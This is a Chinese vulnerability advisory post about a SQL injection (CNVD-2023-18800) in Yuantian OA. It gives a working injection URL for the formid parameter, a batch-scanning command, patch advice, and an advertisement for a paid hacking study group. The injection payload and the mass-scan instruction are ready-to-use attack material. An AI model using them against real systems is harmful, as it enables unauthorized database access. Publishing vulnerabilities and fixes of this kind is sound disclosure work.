源天 | CNVD-2023-18800（附POC）

免责声明  由于传播、利用WK安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，WK安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

0X01 漏洞介绍

    源天OA是一款办公自动化软件，由上海源天软件有限公司开发。它可以帮助企业建立三大管理价值，包括知识管理、流程管理和协同工作的功能模块，快速建立完整的企业协同管理平台。在GetDataAction参数处存在SQL注入

0x02 影响版本

    未知

0x03 漏洞复现

POC

ServiceAction/ServiceAction/com.velcro.base.GetDataAction?action=checkname&formid=1';select (case when (5337=5337)) then 1 else 5337*(select 5337 union all select 6929) end)--

自动化工具

yuantian_sql

python3 yuantian_sql_scan.py -f url.txt 批量检测

扫描结束后会在当前目录生成vuln.txt记录存在漏洞的url

sql注入执行

0x04 修复建议

1.使用预处理语句(Prepared Statement)来执行SQL查询，这样可以避免将用户输入的数据拼接到SQL语句中。2.对用户输入的数据进行过滤和转义，以防止恶意代码被执行。3.限制数据库用户的权限，只允许他们访问必要的数据。4.定期更新数据库补丁和安全配置。

参考链接

https://github.com/MzzdToT/yuantian_sql

欢迎加我wx，一起交流交流

湘安无事团队 知识星球 一次付费，永久免费，享受两大内部群+星球双重福利（付费之后会拉入内部成员群，直接免费续上）。有需要的直接添加上面微信 118永久，私我支付，直接拉内部成员群，扫码支付，三天后拉内部成员群。

内部群共享

1.fofa高级会员账号

2.360quake高级会员

3.某在线高级会员靶场账号（附带wp）

4.专属内部漏洞库（持续更新）

5.原创漏洞挖掘报告

6.it课表众多好课（持续更新，内容涉及安全+开发等）

7.在线答疑，不定期直播技术分享【湘南第一深情、wuli、Awake等】

星球介绍：

星球针对安全新人有优秀学习资源，星球专属嘉宾进行问题解答，

性价比很高。

如果你是入门不久，想要提升漏洞挖掘能力，那该星球是个不错的选择，星球内拥有

专属漏洞报告，

各种奇淫技巧、挖洞技术、专属嘉宾在线问答等。

欢迎您的加入，星球部分内容请你查看！！

星球内容介绍

星球内部提供众多好课

安全类：web安全、内网、src挖掘、kail、逆向、游戏漏洞挖掘、免杀等

开发类：python安全开发、java、Golang、php等开发课程

专栏提供内部漏洞库

专栏内容预览

扫码查看更多内容

文章引用微信公众号"WK安全",如有侵权,请联系管理员删除!